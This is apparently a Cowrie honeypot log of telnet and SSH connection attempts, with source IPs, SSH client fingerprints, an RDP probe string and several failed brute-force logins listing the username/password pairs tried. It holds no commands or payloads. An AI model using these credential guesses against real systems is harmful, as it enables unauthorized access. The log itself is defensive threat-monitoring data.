{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":48024,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3a90720fc3","protocol":"telnet","message":"New connection: 111.90.147.30:48024 (159.203.135.109:23) [session: ec3a90720fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:27.430803Z"}
{"eventid":"cowrie.session.closed","duration":31.81415891647339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:28.298718Z","src_ip":"104.245.105.2","session":"50207b89fbe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":46684,"dst_ip":"159.203.135.109","dst_port":22,"session":"4adf52725c68","protocol":"ssh","message":"New connection: 202.165.22.58:46684 (159.203.135.109:22) [session: 4adf52725c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:30.250975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:30.257123Z","src_ip":"202.165.22.58","session":"4adf52725c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:30.552899Z","src_ip":"202.165.22.58","session":"4adf52725c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwert54321","message":"login attempt [root/Qwert54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:31.752316Z","src_ip":"202.165.22.58","session":"4adf52725c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:33.046384Z","src_ip":"202.165.22.58","session":"4adf52725c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":46318,"dst_ip":"159.203.135.109","dst_port":23,"session":"803584ed60ab","protocol":"telnet","message":"New connection: 111.90.147.30:46318 (159.203.135.109:23) [session: 803584ed60ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:34.473958Z"}
{"eventid":"cowrie.session.closed","duration":41.72338151931763,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:35.771544Z","src_ip":"104.245.105.2","session":"71fc4b7c3fd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685239791870117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:37.048653Z","src_ip":"111.90.147.30","session":"b1ea8da669cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":46310,"dst_ip":"159.203.135.109","dst_port":23,"session":"d21c9f2c147e","protocol":"telnet","message":"New connection: 111.90.147.30:46310 (159.203.135.109:23) [session: d21c9f2c147e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:37.394713Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33608,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eaf72129190","protocol":"telnet","message":"New connection: 104.245.105.2:33608 (10.17.0.5:23) [session: 2eaf72129190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:43.475899Z"}
{"eventid":"cowrie.session.closed","duration":31.1634259223938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:45.792523Z","src_ip":"111.90.147.30","session":"a9fd83459e81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":42132,"dst_ip":"159.203.135.109","dst_port":23,"session":"389a59e690ee","protocol":"telnet","message":"New connection: 111.90.147.30:42132 (159.203.135.109:23) [session: 389a59e690ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:49.078965Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":60386,"dst_ip":"159.203.135.109","dst_port":22,"session":"68d294b63aa5","protocol":"ssh","message":"New connection: 103.149.252.223:60386 (159.203.135.109:22) [session: 68d294b63aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:55.534463Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:55.539524Z","src_ip":"103.149.252.223","session":"68d294b63aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:55.543642Z","src_ip":"103.149.252.223","session":"68d294b63aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.600491046905518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:56.121276Z","src_ip":"104.245.105.2","session":"277cf6e66b87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22077465057373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:56.427635Z","src_ip":"111.90.147.30","session":"4c69b948e4e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33072328567505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:22:58.761442Z","src_ip":"111.90.147.30","session":"ec3a90720fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.802898406982422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:06.276753Z","src_ip":"111.90.147.30","session":"803584ed60ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.321914434432983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:07.716513Z","src_ip":"111.90.147.30","session":"d21c9f2c147e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.69.183.230","src_port":14134,"dst_ip":"10.17.0.5","dst_port":23,"session":"6821d6458631","protocol":"telnet","message":"New connection: 182.69.183.230:14134 (10.17.0.5:23) [session: 6821d6458631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:10.181643Z"}
{"eventid":"cowrie.session.closed","duration":33.67981839179993,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:17.155619Z","src_ip":"104.245.105.2","session":"2eaf72129190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835441827774048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:19.914286Z","src_ip":"111.90.147.30","session":"389a59e690ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.092349529266357,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:22.273884Z","src_ip":"182.69.183.230","session":"6821d6458631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":58684,"dst_ip":"159.203.135.109","dst_port":22,"session":"677837fae0ca","protocol":"ssh","message":"New connection: 182.48.68.82:58684 (159.203.135.109:22) [session: 677837fae0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:25.273086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:25.277971Z","src_ip":"182.48.68.82","session":"677837fae0ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:25.519109Z","src_ip":"182.48.68.82","session":"677837fae0ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123qwe","message":"login attempt [es/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:26.515104Z","src_ip":"182.48.68.82","session":"677837fae0ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.119.27.68","src_port":33941,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c21ca9b4509","protocol":"telnet","message":"New connection: 125.119.27.68:33941 (159.203.135.109:23) [session: 2c21ca9b4509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:26.693802Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:27.758038Z","src_ip":"182.48.68.82","session":"677837fae0ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.207.98.71","src_port":60708,"dst_ip":"10.17.0.5","dst_port":23,"session":"6decc6bf10c5","protocol":"telnet","message":"New connection: 91.207.98.71:60708 (10.17.0.5:23) [session: 6decc6bf10c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:30.240412Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":46940,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd04e8409048","protocol":"telnet","message":"New connection: 111.90.147.30:46940 (159.203.135.109:23) [session: cd04e8409048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:33.239670Z"}
{"eventid":"cowrie.session.closed","duration":13.29931116104126,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:39.993016Z","src_ip":"125.119.27.68","session":"2c21ca9b4509","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.967005491256714,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:43.207311Z","src_ip":"91.207.98.71","session":"6decc6bf10c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f06006c951","protocol":"telnet","message":"New connection: 104.245.105.2:55060 (10.17.0.5:23) [session: c0f06006c951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:44.376132Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55072,"dst_ip":"10.17.0.5","dst_port":23,"session":"739a4be24f22","protocol":"telnet","message":"New connection: 104.245.105.2:55072 (10.17.0.5:23) [session: 739a4be24f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:23:47.985075Z"}
{"eventid":"cowrie.session.closed","duration":31.3987455368042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:04.638325Z","src_ip":"111.90.147.30","session":"cd04e8409048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":50750,"dst_ip":"159.203.135.109","dst_port":22,"session":"48af87883b41","protocol":"ssh","message":"New connection: 202.165.22.58:50750 (159.203.135.109:22) [session: 48af87883b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:08.896256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:08.901016Z","src_ip":"202.165.22.58","session":"48af87883b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:09.185613Z","src_ip":"202.165.22.58","session":"48af87883b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41114,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c9a344afaa3","protocol":"telnet","message":"New connection: 104.245.105.2:41114 (10.17.0.5:23) [session: 3c9a344afaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:10.185857Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dani","message":"login attempt [root/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:10.369119Z","src_ip":"202.165.22.58","session":"48af87883b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:11.663459Z","src_ip":"202.165.22.58","session":"48af87883b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.205292463302612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:15.581341Z","src_ip":"104.245.105.2","session":"c0f06006c951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":45470,"dst_ip":"159.203.135.109","dst_port":23,"session":"adf8dd0cc9c7","protocol":"telnet","message":"New connection: 111.90.147.30:45470 (159.203.135.109:23) [session: adf8dd0cc9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:18.706751Z"}
{"eventid":"cowrie.session.closed","duration":32.433993101119995,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:20.418938Z","src_ip":"104.245.105.2","session":"739a4be24f22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":39196,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5acb7a04c39","protocol":"ssh","message":"New connection: 182.48.68.82:39196 (159.203.135.109:22) [session: d5acb7a04c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:29.749786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:29.754329Z","src_ip":"182.48.68.82","session":"d5acb7a04c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:29.995738Z","src_ip":"182.48.68.82","session":"d5acb7a04c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zj123456@","message":"login attempt [root/Zj123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:30.989873Z","src_ip":"182.48.68.82","session":"d5acb7a04c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:32.245877Z","src_ip":"182.48.68.82","session":"d5acb7a04c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33886,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a5fc6d85a2","protocol":"telnet","message":"New connection: 104.245.105.2:33886 (10.17.0.5:23) [session: b2a5fc6d85a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:36.584299Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53128,"dst_ip":"10.17.0.5","dst_port":23,"session":"9889cebdde4c","protocol":"telnet","message":"New connection: 104.245.105.2:53128 (10.17.0.5:23) [session: 9889cebdde4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:40.426777Z"}
{"eventid":"cowrie.session.closed","duration":31.823227167129517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:42.008973Z","src_ip":"104.245.105.2","session":"3c9a344afaa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53132,"dst_ip":"10.17.0.5","dst_port":23,"session":"e78eb95aefc2","protocol":"telnet","message":"New connection: 104.245.105.2:53132 (10.17.0.5:23) [session: e78eb95aefc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:46.415144Z"}
{"eventid":"cowrie.session.closed","duration":31.58204984664917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:50.288698Z","src_ip":"111.90.147.30","session":"adf8dd0cc9c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":53180,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1f263c25ca","protocol":"telnet","message":"New connection: 111.90.147.30:53180 (159.203.135.109:23) [session: 5c1f263c25ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:58.791693Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":53196,"dst_ip":"159.203.135.109","dst_port":23,"session":"92fba1a62288","protocol":"telnet","message":"New connection: 111.90.147.30:53196 (159.203.135.109:23) [session: 92fba1a62288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:24:58.839075Z"}
{"eventid":"cowrie.session.closed","duration":31.518200397491455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:08.102373Z","src_ip":"104.245.105.2","session":"b2a5fc6d85a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146851301193237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:11.573522Z","src_ip":"104.245.105.2","session":"9889cebdde4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":59980,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1f2f4a2ed7d","protocol":"telnet","message":"New connection: 111.90.147.30:59980 (159.203.135.109:23) [session: e1f2f4a2ed7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:14.748990Z"}
